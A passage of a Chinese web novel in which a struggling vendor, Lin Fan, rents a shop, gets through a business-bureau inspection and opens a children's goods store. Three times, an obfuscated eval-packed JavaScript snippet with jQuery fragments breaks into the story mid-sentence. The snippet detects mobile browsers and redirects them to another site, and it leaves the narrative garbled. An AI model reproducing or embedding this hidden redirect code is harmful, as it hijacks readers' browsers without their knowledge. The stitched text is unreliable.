钱不够:就少进点货,宁可货架空点,也别让资金断了。
手里的活钱比啥都重要,要是钱周转不开,连水电费都交不起,店就开不下去了。
他还打算跟批发商商量,能不能“先拿少量货,卖完再结剩下的钱”,要是能成,就能缓解资金压力。
同行眼红:就多笑多客气,靠实在做生意。比如隔壁要是有文具店,不去抢客源,反而可以互相介绍顾客——
“你那没有的积木,我这有;我这没有的作业本,你那有”,大家都能赚钱,比互相拆台强。他想,做生意靠的是回头客,只要货好、服务好,顾客自然会来。
写完这些时,窗外的天已经泛了鱼肚白,晨光透过窗帘缝钻进来,落在笑笑的脸上。
笑笑睡得正香,嘴角还带着笑,大概是梦见了新店里的积木——昨晚她还抱着他的胳膊问:
“爸爸,新店里有会拼城堡的积木吗?我想拼个大城堡,给你和王叔叔住。”
林凡把笔记本锁进抽屉(钥匙藏在床板下的缝隙里),轻轻摸了摸女儿的头,手心能感受到女儿细软的头发,心里像被灌满了暖水:
等店开起来,一定给笑笑买最大套的积木,陪她拼个“全家城堡”。
第二天一早,他揣着五百块钱、身份证,还有叠得整整齐齐的租约草稿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607487|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,去了赵经理的日杂店。
赵经理已经把合同打印好了,纸上还带着打印机的余温。
林凡逐字逐句看了三遍,手指指着“三年租约”“年涨租不超百分之五”“水电费自理”的条款,每个字都念出声,确认没有歧义、没有漏项,才从口袋里掏出钢笔——
这是笑笑用剩下的,笔尖有点粗,但还能用。他一笔一划签上“林凡”两个字,笔画都写得格外重,仿佛每个笔画都在刻着“新起点”三个字,刻在纸上,也刻在心里。
接过钥匙时,冰凉的金属触到掌心,却猛地烫了一下——钥匙是黄铜的,上面挂着个小铜铃,铃身还刻着小小的“福”字。
赵经理笑着说:“开门时铃响,吉利,祝你生意兴隆。”林凡把钥匙攥在手里,轻轻摇了摇,铜铃发出“叮铃”的轻响,清脆得像春天的鸟鸣,像在宣告:
这不是漏雨的棚子,是他和笑笑的新起点,是真正的家。
他没急着去装修,先绕去了街道办和工商所。
李干事听说他要搬店,笑着拍了拍他的肩:
“年轻人有闯劲,好!周干事早上刚来过,我跟他提了你,他说你去了直接找他就行,别客气。”
工商所的张办事员也耐心,把需要的材料清单又给了他一份,还说:
“要是材料齐,今天提交,周五就能拿新执照,不用跑第二趟。”
摸清楚所有流程,他心里的石头落了一半,才往棚子走。
棚子在机械厂家属区的巷口,用帆布搭的顶,风一吹就“哗啦”响,像随时会被掀走。
王猛正蹲在地上给橡皮分类,怀里抱了堆五颜六色的“三无”橡皮,见林凡回来,连忙站起来,怀里的橡皮“哗啦”撒了一地,滚得到处都是。
“凡子,昨天你去哪了?黑皮的跟班来拿烟,我给了两包(是林凡之前准备的便宜烟,专门应付黑皮的),没**,就是说‘让你有空去找黑皮哥聊聊’。”
王猛一边捡橡皮,一边追问,眼睛里满是担心——上次黑皮来闹,林凡跟他吵了一架,王猛怕林凡再出事,晚上都没睡好。
林凡拉他到棚子角落(怕被人听见),从口袋里掏出钥匙,递到他面前。钥匙上的铜铃还在“叮铃”响,在帆布棚里格外清楚。
“猛子,我租了个门面,在中心小学那边,咱们把店搬过去,以后不用再守这个漏雨的棚子了。”
“啥?”
王猛的眼睛一下瞪圆了,嘴张得能塞进个鸡蛋,手里的橡皮“啪”地掉在地上,滚到脚边都没察觉。
他伸手抓过钥匙,反复摩挲着上面的铜环,指腹蹭得发烫,声音都变了调:
“租门面?得花多少钱啊?咱们这棚子……不是挺好的吗?”
他知道棚子不好,但怕林凡花太多钱,万一赔了,连笑笑的学费(一学期一百多)都没着落——他太清楚没钱的难了,母亲的医药费压得他喘不过气。
“是我省城的表叔,听说咱们生意还行,借了我点钱,不用急着还。”
林凡压低声音,像怕被风听见——他没说这是自己攒的钱,怕王猛担心,更怕王猛觉得“拖累了他”。
“猛子,咱们总窝在这棚子里不是事——黑皮总来闹,上次笑笑来送水,还被他吓哭了;再说,这棚子夏天漏雨,冬天漏风,孩子来买东西都冻得缩脖子,家长看着也心疼。
有了正经门面,咱们是‘正经商户’,谁也不能随便欺负咱们了,家长也愿意带孩子来,生意肯定比现在好。”
王猛的脸慢慢红了,从震惊到激动,手都在抖。
他攥着钥匙,指节发白,突然拍了拍胸脯,声音发颤:
“真……真的?咱们也能当老板了?
不用再被城管追,不用再怕黑皮了?”
他看着林凡,眼里亮得像有光——以前在工地,他从来没想过自己能守着一家亮堂堂的店,不用风吹日晒,不用搬砖扛水泥,还能有稳定的收入。
“凡子,你说咋干就咋干!我这力气,随你用,搬货、刷墙、看店,啥都行!晚上我还能住店里,不用你操心,还能看货!”
“以后你不光看摊,还得帮着进货、盘点,责任更大了。”
林凡拍了拍他的肩,语气里满是实诚,
“我给你涨到一个月一百八,生意好了再加提成,多卖五十块提五块。你母亲的医药费,也能松快点,不用再跟人借钱了。”
第二十二章:新梦想
一百八!
王猛激动得差点跳起来,连连点头,眼眶都红了:
“够了够了!凡子,你对我太好了!
我以前在工地,一个月最多四百块,还不稳定,有时候干半个月就没活了,现在一百八加提成,比工地强多了!我肯定好好干,绝不让你失望——
以后店里的重活累活都我来,你放心!”
他说着,还擦了擦眼角——母亲上次打电话说“药快没了,要是没钱就先停几天”,他听了心里疼,现在终于不用愁了,甚至还能给母亲买点营养品。
接下来的日子,两人像上了弦的钟,连轴转。白天王猛守着棚子,慢慢处理剩下的货——
以前的便宜橡皮、积木,都按进价甩卖(橡皮三毛一块,积木两块一套),有的家长图便宜,一下买了好几块,没几天就处理得差不多了,只留下几盒没卖完的水彩笔,打算带到新店当“赠品”。
林凡则带着笑笑跑旧货市场,早上七点就出门,下午五点才回来,肩上总扛着沉甸甸的东西;
有时候是旧柜台,有时候是地板革,笑笑就跟在他身边,帮他拿小工具(砂纸、铅笔),累了就坐在旧货市场的台阶上,林凡给她买个五毛钱的烤红薯,她就能乐半天。
旧货市场里飘着铁锈、木料和旧油漆混在一起的味道,墙角堆着蒙尘的旧家具,阳光透过棚顶的破洞洒下来,在地上织出斑驳的亮斑。
林凡蹲在一堆旧柜台前,敲敲玻璃(听有没有裂的声音),摸摸木质框架(看有没有虫蛀的洞),挑了三个没破的柜台,跟老板磨了半个钟头,从六十砍到五十,才扛着走。
柜台重,他扛在肩上,走几步就歇一下,汗把衬衫都湿透了,笑笑就用小手帮他擦汗,说
“爸爸加油”。
晚上棚子关了门,两人就去新店干活。
王猛力气大,扛着梯子刷墙,石灰水溅到他的工装上,白一块灰一块,像沾了雪,他也不在意,还哼着工地里学的老歌;
以前在工地,刷墙是苦活,现在刷自己的店,越刷越有劲,嘴角都挂着笑。
林凡心细,负责刷边角,怕石灰水蹭到地上,还找了块旧布铺在墙边。
旧布是笑笑的旧衣服改的,上面还有小熊图案,他小心翼翼的,怕蹭坏布上的图案。刷到一半,他想起笑笑喜欢太阳,就在墙面角落画了个圆乎乎的太阳,用米黄色涂料涂了颜色,太阳的光芒画得歪歪扭扭,却很可爱。
笑笑蹲在旁边,用小刷子蘸着剩下的涂料,在太阳旁边画了个小娃娃——娃娃的脸是圆的,眼睛是黑点,嘴巴是弯的,还画了两条小辫子。
她画完后,拉着林凡的手说:
“爸爸,娃娃在看太阳呢,她也喜欢咱们的新店!”
林凡蹲下来,摸了摸她的头,手心能感受到女儿的体温,心里暖暖的——这就是他想要的“家”,有笑笑,有兄弟,有亮堂堂的店。
王猛在旁边看着,也跟着笑,三个影子在墙上晃来晃去,像幅热热闹闹的画,连空气里的石灰味都甜了点。
店里没灯,他们就从隔壁五金店借了根临时电线,挂个100瓦的灯泡。
灯泡亮起来时,整个店都亮堂堂的,王猛摸了摸刷好的墙面,又摸了摸刚摆好的货架,笑着说:
“凡子,你看这墙,比我家的还白;这灯,比工地的探照灯还亮!以后孩子来这,肯定高兴!”
林凡也笑,手里还攥着砂纸,指腹磨得发疼,却没松劲——还有最后一步,去工商所办地址变更,办完了,这店才算真正“落地”。
周围的邻居偶尔会扒着门看,有的问“这是要开啥店啊”,有的探头往里瞅,眼里满是好奇。
林凡就笑着答:“开个儿童用品店,给孩子卖点文具、衣服,以后大家带孩子来玩啊,开业时请大家吃喜糖!”
他不多说,怕太早声张,又引来麻烦——黑皮要是知道了,指不定又来闹,他想等手续办完、店开起来,再安安稳稳地“打招呼”。
隔壁小吃店的张婶(不是筒子楼的张婶,是新店隔壁的),五十多岁,总是笑眯眯的,看见他们刷墙到半夜,还送了碗热汤。
是鸡蛋西红柿汤,里面卧了两个荷包蛋,还放了点香油,飘着淡淡的香味。林凡接过汤,说了好几声“谢谢”,喝的时候,眼泪差点掉下来;
这汤比家里的汤还暖,让他觉得在陌生的片区,也有了“熟人”的照应。
一周后,新店渐渐有了模样。
雪白的墙裹着浅黄的边,日光管亮得晃眼,深褐色的货架摆得整整齐齐(柜台刷了油漆,像新的一样),门头的招牌也做好了,用红布盖着,只露着点白边,像藏着个惊喜。
王猛站在店里,摸了摸货架,又摸了摸墙上的小太阳,眼眶都红了:
“凡子,这真是咱们的店了……我以前想都不敢想,咱们也能有这么亮的店。以后我妈来城里,也能看看我的店了,她肯定高兴。”
他说着,还掏出手机(是个旧手机,二手的,三百块买的),想给母亲打电话,又怕母亲担心“还没开业就花钱”,最后只是把手机揣回兜里,暗暗发誓:一定要把店做好,让母亲放心。
林凡也笑着点头,手里还攥着刚擦完玻璃的抹布——玻璃擦得能照见人影,他看着里面自己的倒影,突然觉得这半年的辛苦都值了:
省吃俭用攒钱,跑旧货市场淘货,跟老板磨价,刷墙刷到半夜……所有的累,在看到这亮堂堂的店时,都变成了“值得”。
他心里盘算着开业的日子,想在周末(周六),因为家长带孩子出来玩的多;
还准备印点小传单,上面画个小笑脸(像笑笑画的那样),写“开业当天买满二十送橡皮一块,买满五十送AD钙奶一瓶”,吸引顾客;
传单就请巷口的打字店印,五十张,五块钱,不贵。
可就在他准备第二天一早去工商所办手续时,麻烦找上门了。
傍晚,他和王猛正在店里擦玻璃,刚把最后一块玻璃擦得能照见人影——连橡皮上的小熊图案都能映在玻璃上,
王猛还笑着说“以后孩子能在玻璃上看自己了”——就看见李干事陪着个穿工商制服的男人走进来。
那男人四十多岁,个子一米八左右,肩很宽,制服穿得笔挺,领口的扣子扣得紧紧的,没有一丝褶皱;
他脸板得比青砖还硬,两道眉毛拧成个“川”字,像随时会发脾气;手里拿着个黑色的笔记本,翻页的时候声音很大,“哗啦”一声,像在故意施压;
背着手走过来时,鞋底敲在水泥地上“咚咚”响,震得人心里发慌,连空气都好像凝固了。
“林凡,这位是工商所的刘科长。”
李干事的语气有点复杂,眼神往林凡身上飘了飘,像是有话要说,却又没说出口——他怕说多了,反而让刘科长不高兴。
“刘科长过来了解下你这新店的情况,你好好配合。”
林凡心里“咯噔”一下,手里的抹布“啪”地掉在地上,水渍溅到了鞋上,凉丝丝的。
他连忙弯腰捡起来,用围裙擦了擦手(围裙是笑笑的旧围裙,上面有小花朵图案),迎上去,脸上堆着笑:
“刘科长好,李干事好,快进来坐,我给您倒杯水——家里有刚熬的橘子水,温的,您尝尝?”
刘科长没动,绕着店走了一圈。
他走到货架前,手指敲了敲货架,“咚咚”响,还晃了晃货架,看稳不稳——林凡心里捏了把汗,幸好货架是铁架的,很稳,没晃;
又走到墙面前,指甲刮了下墙面,刮下来一点白色的石灰末,他放在手里搓了搓,又闻了闻,眉头皱了皱——
林凡赶紧说:“刘科长,这是环保石灰,建材店老板说的,没味道,孩子闻着没事,我特意晾了一天才继续装修的。”
最后,刘科长停在林凡面前,
声音像冰锥,没一点温度:
“你就是林凡?原来在机械厂家属区摆摊的那个?”
“是,是我。”
林凡的手心冒了汗,后背也有点发紧,汗水把衬衫粘在背上,凉飕飕的。
他脑子里飞快转:是黑皮?他知道自己搬店,故意找工商所的人来刁难?还是钱老西?
钱老西是收废品的,上次林凡收了一批旧连环画,比钱老西给的价高,钱老西还跟人说林凡“抢生意”,说不定是他举报的;
或者是旁边的文具店老板?
听说自己要开儿童用品店,怕抢了客源,故意举报“没办手续就装修”?
他越想越慌,却不敢表现出来——
一慌就乱了,乱了就办不成事,这店是他和笑笑的希望,绝不能毁在这一步。
王猛站在旁边,脸都白了,手攥着抹布,指节发白,指腹都快把抹布捏破了。
他想说话,想替林凡解释“我们明天就去办手续”,却被林凡用眼神按住了——林凡怕他性子急,说漏嘴,反而惹刘科长不高兴,现在只能“顺着来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607488|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”。
林凡深吸一口气,脸上的笑更柔和了,语气放得更软,把早就准备好的话都说了出来,每个字都咬得很清楚:
“刘科长,您放心,我这店的手续正在办,昨天我还去工商所咨询过张办事员,他把需要的材料都跟我说了——租赁合同(双方签字按手印了)、旧执照(原件,没损坏)、我的身份证,都齐了,今天我特意整理好,放在家里的铁盒里,明天一早就去提交。”
“经营范围还是儿童用品,跟以前一样,没改——就是卖文具、玩具、童装,都是孩子用的,安全第一;
装修就刷了墙、换了灯、摆了货架,没动任何承重结构,您看这墙,都是用的环保涂料,孩子闻着也没事;
消防安全我也注意了,店里没放易燃易爆的东西,连橘子水都是现煮现卖,不囤货,您可以看看,我就一个保温桶,没别的东西。”
刘科长盯着他看了几秒,眼神像刀子,仿佛要把他看穿——林凡迎着他的目光,没躲闪,他知道自己没做错,按规矩来,不怕查;
又扫了眼李干事,李干事连忙点头,声音不大但很清楚:
“刘科长,林凡这孩子挺实在的,开店前特意来街道办问过规矩,知道要办手续,不是故意不办的,就是想先把装修弄好,省得来回跑。”
最后,刘科长从鼻子里哼了一声,语气缓和了点,却还是硬邦邦的:
“明天把手续办了,要是不合格,缺一样材料,或者经营范围不对,这店就别想开!”
说完,转身就走,制服的衣角扫过货架,带得橡皮盒“哗啦”响了一下,像是在警告——
“别想着蒙混过关”。
李干事拍了拍林凡的肩,小声说:
“估计是有人举报了,说你没办手续就装修,刘科长这人认规矩,你赶紧把手续办了,别让人抓着把柄。他刚才跟我私下说,只要材料齐,符合规定,就没问题。
他也是怕你‘先开业再补手续’,到时候出问题,大家都麻烦。”
看着刘科长的背影消失在街口,王猛才敢凑过来,声音都发颤:
“凡子,这……这咋办啊?要是手续办不下来,咱们这店……这钱不就白花了吗?
我妈还等着我寄医药费呢……”他说着,眼圈都红了——他好不容易看到希望,要是店开不成,又得回工地搬砖,母亲的医药费又没着落了。
林凡攥了攥拳头,指节发白,手心的汗都干了,心里却突然定了——新起点刚到,新战场就开了,这只是第一仗。
以前摆摊时,他遇到过城管(被追着跑,货都掉了)、遇到过地痞(黑皮来要保护费)、遇到过下雨天漏雨(货都湿了),都扛过来了,这次有正经的店面,有齐全的材料,按规矩来,怕什么?
他抬头看了看墙上笑笑画的小太阳,沾了点石灰末,歪歪扭扭的,却像团真的暖光,照得他心里的慌劲慢慢散了。
再看身边着急的王猛,他拍了拍王猛的肩,语气比刚才更坚定,每个字都带着力量:
“没事,猛子,明天咱们一早就去办手续,材料都齐了,张办事员也说没问题,按规矩来,谁也挑不出错。
这店,咱们一定能开起来——不光为了咱们,还为了笑笑(她还等着拼城堡呢),为了你母亲(她还等着你的医药费呢),咱们不能输。”
王猛看着林凡坚定的眼神,慢慢点了点头,攥着的抹布也松了点——
他信林凡,从在棚子帮忙那天起,他就知道林凡靠谱,能扛事。
“嗯,凡子,我信你。明天我跟你一起去,帮你拿材料,要是有啥要跑的,我去跑,你歇着。”
夜色渐浓,街上的灯亮了,店里的日光管也亮着,映着林凡和王猛的身影。
林凡把租赁合同、旧执照、身份证都放进一个铁盒里,摆在床头(怕丢了),又摸了摸口袋里的钥匙,铜铃“叮铃”响了一声,清脆又温暖。
新战场的第一枪已经响了,他得扛住——为了笑笑梦里的积木,为了王猛红着眼眶的期待,也为了这个好不容易才有的家。
他知道,以后还会有更多的挑战:
黑皮可能还会来闹,同行可能会抢客源,资金可能会紧张……
但只要有这亮堂堂的店,有身边的兄弟,有女儿的笑脸,再难的坎,都能迈过去。
他抬头看向窗外,月亮已经升起来了,
圆圆的,像笑笑画的小太阳,亮堂堂的,照得整个街道都暖了。
第二十三章:如履刨冰
初秋的风带着点凉,从店门的缝隙钻进来,混着刚刷完没散透的石灰味。
那是林凡前几天特意选的块状灰,说比桶装涂料环保,刷完墙面上还留着淡淡的颗粒感,像撒了层细沙。
墙上笑笑画的小太阳尤其显眼,蜡笔的明黄色裹着孩子特有的歪扭弧线,只是此刻,刘科长的话一落地,那抹黄像被冰水浇过,连边缘的蜡笔屑都透着冷。
“手续都齐了?
无照经营可不是小事。”
刘科长的声音不高,却像冰锥扎在店里,他背着手站在货架旁,黑皮鞋尖蹭了蹭地面的灰尘,目光扫过堆在角落的纸箱——那是昨天刚到的童装,还没来得及拆封,箱角印着“纯棉儿童外套”的字样。
王猛攥着抹布的手猛地一紧,抹布上的灰蹭到了手背,他却浑然不觉。
那抹布是他从家里带来的旧毛巾,洗得发白,此刻被绞成了麻花,指关节因为用力而泛白。
他偷瞟林凡的眼神里满是慌神,连呼吸都放得极轻,生怕自己的喘气声会惹刘科长发火;
上次隔壁街的杂货店就是因为手续不全,被刘科长带人封了门,铁锁“咔嗒”锁上的声音,他到现在还记得。
林凡的心尖像被细针扎了下,警铃在脑子里“嗡嗡”炸响,连耳尖都热了。
但他知道不能慌,脸上的笑不仅没散,还往刘科长身边凑了半步,语气软得像刚揉过的棉纸,还带着点年轻人特有的诚恳:
“刘科长您说得对,是我**躁了——前几天赶工收拾店面,光顾着刷墙、摆货架,确实把手续的事往后拖了点,您别往心里去,我这就给您看准备好的材料。”
他脚步轻快地绕到那张旧货市场淘来的旧课桌前。
这桌子是他上周花二十块买的,桌面有道浅裂,是之前的主人用胶水粘过的,抽屉角掉了块木茬,他怕刮着笑笑,特意找了米白色的电工胶带,一圈圈缠得整齐,连接头都压在了抽屉内侧。
前晚他就在这张桌上熬到后半夜,台灯是个15瓦的旧灯泡,光有点发黄,抄地址变更表时,笔尖断了两次,他换了三支笔,每写错一个字就重新抄一张,最后那张没一个涂改痕迹的表格,纸边都被他的手指摩挲得发毛。
手伸进抽屉时,指尖先触到文件夹硬邦邦的边缘——那是他特意从文具店买的蓝色文件夹,比普通的厚一倍,能把所有材料都夹牢。
他把文件夹捧出来时,能看到最上面的租赁合同上,赵经理的签字旁边,因为钢笔漏墨晕了个小墨点,他当时还特意用透明胶小心粘了下,没弄破纸,只把墨点淡了点。
“您看,这是租赁合同,赵经理签了字盖了章,租期三年,年涨租不超百分之五,都写得明明白白;
这是原来棚子的营业执照,我特意塑封了,您看照片上的头像,一点没磨花,经营范围就是‘日用百货、儿童玩具零售’,没超范围;变更表我昨天刚抄完,连日期都核对了三遍,就等今天下午去所里递。”
林凡的手指轻轻点在合同条款上,指腹因为用力泛着青白,连声音都比平时慢了半拍,像怕漏了哪个字:
“装修真没敢瞎动——就刷了层石灰,您闻,现在还有点石灰的清味,没敢用油漆;
货架都是淘的旧铁架,搬进来时连颗钉子都没往墙上钉,我怕碰着承重结构,特意让猛子扶着摆的,离墙还留了五厘米的缝;
消防安全我也记着呢,早上还跟猛子说,今天就去买灭火器,红底白字的那种,挂在门口最显眼的地方,到时候您路过能看见。”
刘科长接过文件夹时,指尖蹭到了林凡的手,林凡的手是热的,还带着点汗——刚才攥得太用力了。
刘科长粗粝的手指在合同上慢慢划着,停在“年涨租不超百分之五”那行时,他抬头看了眼林凡,眼神里的冷意少了点,多了点审视,眉头拧成的“川”字也淡了些。
旁边的李干事赶紧凑过来,手里还拿着刚从店里抽的一张纸巾——他知道刘科长有洁癖,刚才摸了文件夹,手上沾了点灰。
“老刘,小林这孩子我知根知底。”
李干事笑着打圆场,声音里带着熟稔,
“前两年他在咱们片区摆摊,每次收摊都把垃圾收拾干净,不像别的摊贩乱扔塑料袋;现在开店更用心,你看这墙刷得多白,灯也亮,比原来那漏雨的棚子强百倍——
咱们片区多这么个干净的儿童店,家长买东西不用跑远,孩子也能有个正经地方挑玩具,多好。”
李干事说的是实话。
去年夏天暴雨,林凡的棚子漏雨,他把所有玩具都挪到塑料布下面,自己淋得浑身湿,还帮旁边卖菜的大妈收摊子,李干事当时巡逻看见,就觉得这年轻人实在。
刘科长合文件夹时,“啪”的一声轻响,递回林凡手里时,语气软了半截:
“手续抓紧办,无照经营的红线不能碰,这是原则。灭火器明天必须挂上,做生意先把安全攥在手里,别等出事了才后悔,我明天过来再看。”
“哎!一定一定!”
林凡连忙点头,接过文件夹时,指腹又蹭到刘科长的手,还是凉得像块冰,但他心里的热乎劲已经冒上来了,连后背的汗都觉得不黏了;这关总算过去了,李干事这声帮腔,真是救了急。
刘科长背着手往外走,黑皮鞋踩在水泥地上“咚咚”响,到门口时又回头扫了眼货架,目光在那箱没拆封的童装停了两秒,没再说话;
李干事跟在后面,路过林凡身边时,用胳膊肘轻轻碰了他一下,嘴型比了个“机灵点”,还眨了下眼,才快步追上去。
两人的脚步声消失在街口,王猛“咚”地坐在小板凳上——那是笑笑的小凳子,凳面上还贴着她画的小花,板凳腿在地上磕出个浅印。
他抹了把额头的汗,汗渍在脸上划出两道黑印子,声音还发颤:“凡子,刚才我心都提到嗓子眼了,真怕他一句话就把店封了!
上次老周的杂货店,就是因为没执照,被封了半个月,货都积坏了!”
林凡把文件夹锁进抽屉,铜锁“咔嗒”响了声,指节轻轻敲了敲桌面,眼神沉了沉:
“猛子,这就是正规店和野摊的不一样——以前摆摊是躲着城管走,看见穿制服的就跑;
现在开店得迎着规矩来,手续、安全、卫生,半点马虎都不能有,不然一准让人抓把柄。”
刚才刘科长冷着脸的模样,像块石头压在他心里,也让他彻底醒了:
想把店稳住,“规范化”这三个字,不是嘴上说说,得刻在脑子里,渗进骨子里。
第二天一早,天刚亮,林凡就揣着身份证和执照副本出了门。
他先绕到街尾的消防器材店,店主是个五十多岁的大叔,留着寸头,手上满是老茧。
“要两个灭火器,红底白字的,家用的就行。”
林凡说。大叔从货架上搬下两个铁壳子,掂量了下:
“小伙子开店用吧?这两个是新到的,压力够,十八块一个,给你算三十五。”
还送了他一小卷消防胶带,
“挂的时候用这个固定,别晃,不然容易掉。”
林凡没急着走,还让大叔演示了怎么用,大叔拔下保险销,压了下手柄,白色的粉末喷出来一点,
“记住了,先拔销子再压手柄,别慌。”林凡点点头,把步骤在心里默念了两遍。
到工商所时,刚开门没多久。
办事员是个戴眼镜的年轻姑娘,看林凡递过来的材料,翻了两页就笑了:
“你这材料整理得比上次来的那个个体户清楚多了,合同、申请表、身份证复印件,都按顺序排好了。”
她扫了眼电脑,三分钟就录了信息,笔尖在纸上划了道勾:
“三天后来拿新执照,还是红本,多了个二维码,扫一下就能看经营范围,方便。”
林凡还多问了句:“要是有人查,除了执照,还需要挂什么吗?”
姑娘说:
“可以拿张‘合法经营公示牌’,贴在店里显眼的地方,省得麻烦。”
林凡赶紧要了一张,折叠好放进包里。
回到店里,他先把灭火器挂在门口两侧——按消防大叔说的,用胶带在顶部粘了两圈,又退后看了看,觉得有点歪,又调整了半天,直到两个灭火器对齐了,才满意。
接着把“合法经营公示牌”贴在收银台旁边,用尺子比了下,确保是正的。
王猛看着他忙前忙后,挠着头说:
“凡子,你这也太仔细了。”林凡擦了擦手上的灰:“仔细点好,省得下次再出岔子。”
手续齐了,店也收拾妥了。
林凡选了个周六开业——他问过杂货铺老板,这天街坊邻居都休息,人多。
他没请人,没吆喝,就从杂货铺买了挂最小的鞭炮,老板说:“这个响但不吵,街坊邻居不反感,五块钱。”
林凡买的时候还特意问了能不能在门口放,老板说:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607489|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>“这条街允许小鞭炮,别放太大的就行。”
笑笑站在旁边,小手攥着他的衣角,指甲盖轻轻抠着布料,那是林凡穿了两年的外套,肘部有块补丁。
她的眼睛亮晶晶的,像盛了星星,看着林凡手里的鞭炮:
“爸爸,要放鞭炮啦?是不是放了炮,咱们的店店就开门啦?”
林凡蹲下来,摸了摸她的头:“
嗯,放了炮,咱们的店就正式开门了。”他划了根火柴,火苗“噌”地跳起来,点着引线。
“噼里啪啦”
的声响裹着纸灰飘在风里,笑笑怕响,捂了耳朵,林凡把她往怀里抱了抱,用手挡住她的耳朵。没半分钟,鞭炮就放完了,烟味散得快,只留下栏杆上一圈红纸屑,像撒了把碎红玛瑙。
他伸手揭下招牌上的红布:“笑笑宝贝屋——儿童用品专营”十个字,是他找隔壁学校的美术老师写的,红得鲜亮,圆乎乎的字体在阳光下透着暖,像孩子咧着嘴笑的模样,连笔画都带着甜劲。
没有宣传,却有人被这亮堂的门面吸了过来。先是住在隔壁楼的张阿姨,抱着刚满一岁的孙子,孙子穿着蓝色的小棉袄,伸手想去抓货架上的小熊玩偶。
张阿姨赶紧拦住:“别乱碰,问叔叔能不能拿。”
林凡笑着走过去,把小熊玩偶拿下来,用袖口擦了擦:
“没事,小朋友可以看看,我这玩偶都洗过的,没灰。”
小熊玩偶是浅棕色的,软乎乎的,孩子抱着就不撒手,张阿姨笑着说:
“这孩子,还挺会挑。”最后不仅买了玩偶,还买了两双软底学步鞋,
张阿姨说孙子脚胖,之前买的鞋挤脚,林凡给她推荐的那款,鞋头宽,孩子穿上正好。
接着是中心小学的李老师,骑着自行车路过,车铃“叮铃”响了声。
她停下车,扶了扶眼镜:
“哟,林凡,开儿童店了?正好,我侄女上一年级,老丢橡皮,要那种带挂绳的,能挂铅笔盒上,不容易丢。”
林凡从文具区最里面拿出一款——挂绳是蓝色的,橡皮上印着米老鼠,
“您看这个,挂绳结实,橡皮也软,擦得干净不粘纸。”李老师一看就喜欢,买了两块,还多买了五支荧光笔:“给她同桌也带点,孩子们都喜欢这种亮颜色的。”
开业第一天,生意比林凡想的还热闹。
脚步声、说话声裹着孩子的笑声,把小店填得满满当当。
王猛守在柜台后,嗓门比平时大了三分,脸涨得通红。
有个妈妈来买童装,问“这衣服洗了会不会缩水”,王猛赶紧从柜台里拿出小纸条——那是林凡写的,上面记着“冷水洗不缩,晒时别拽”,他照着念:
“阿姨,这衣服我试过,冷水洗不缩,晒的时候别使劲拽,干了还是原来的样子。”
妈妈听了放心,买了件粉色的小外套。
王猛偶尔也会算错账,比如把“十八块”说成“二十八块”,手忙脚乱地找钱时,林凡在旁边悄悄递个眼神,他立刻拍着脑袋笑,手在裤腿上蹭了蹭:
“瞧我这记性,算错了算错了!您别介意,我再给您找零!”
顾客倒不介意,反倒觉得他实诚,有个奶奶还说:
“没事没事,年轻人难免糊涂,我家孙子算账也老错。”
林凡没闲着,一会儿蹲下来帮顾客找尺码合适的童装,手指捏着布料给人看:
“您摸,这棉含量70%,剩下的是氨纶,软和还不变形,孩子穿身上舒服;”
一会儿又跟孩子说话,声音放得轻轻的:
“这个积木边缘是圆的,不扎手,你可以拼小火车,也可以拼小房子。”
他发现,来店里的家长,跟以前棚子的客人不一样——以前摆摊时,客**多问“多少钱”,现在更多问“质量怎么样”“洗了会不会坏”“孩子穿安全吗”,对品质的在意,比价格多了不止一点。
傍晚关店时,王猛把钱箱往桌上一倒,纸币硬币哗啦啦散了一片,像撒了把碎金子。
他沾着唾沫,
一张一张数得仔细,
手指在纸币上捻来捻去:
“二十、四十、六十……两百二十一!
凡子,咱们今天卖了两百二十一!”
他举着一沓钱,眼睛亮得像有光,嘴角都快咧到耳根了:
“毛利润得有八十块吧?
这比棚子好太多了,
以前摆摊一天最多赚四十,
还得躲城管!”
第二十四章:专业化试水
林凡坐在旁边,手里翻着进货账本,笔尖在“荧光笔”那行画了个圈,墨痕透了点纸背:
“猛子,别高兴太早。开业头几天大家图新鲜,后面生意说不定会落。咱们得想办法把客人留住,让他们下次还来;
光卖东西不行,得让他们觉得‘来这儿买东西,值’。”
他心里已经有了主意:
要做“专业”的生意,不能再像以前那样“凑活”,得从陈列、服务、进货上都下功夫。
接下来的日子,他开始一点点试水“专业化”,
把想法揉进店里的每一处细节,连王猛都跟着学了不少。
一、商品陈列:让客人“一眼找得到,看着也舒服”
他把货架重新摆了遍,比以前整齐了不止一点。
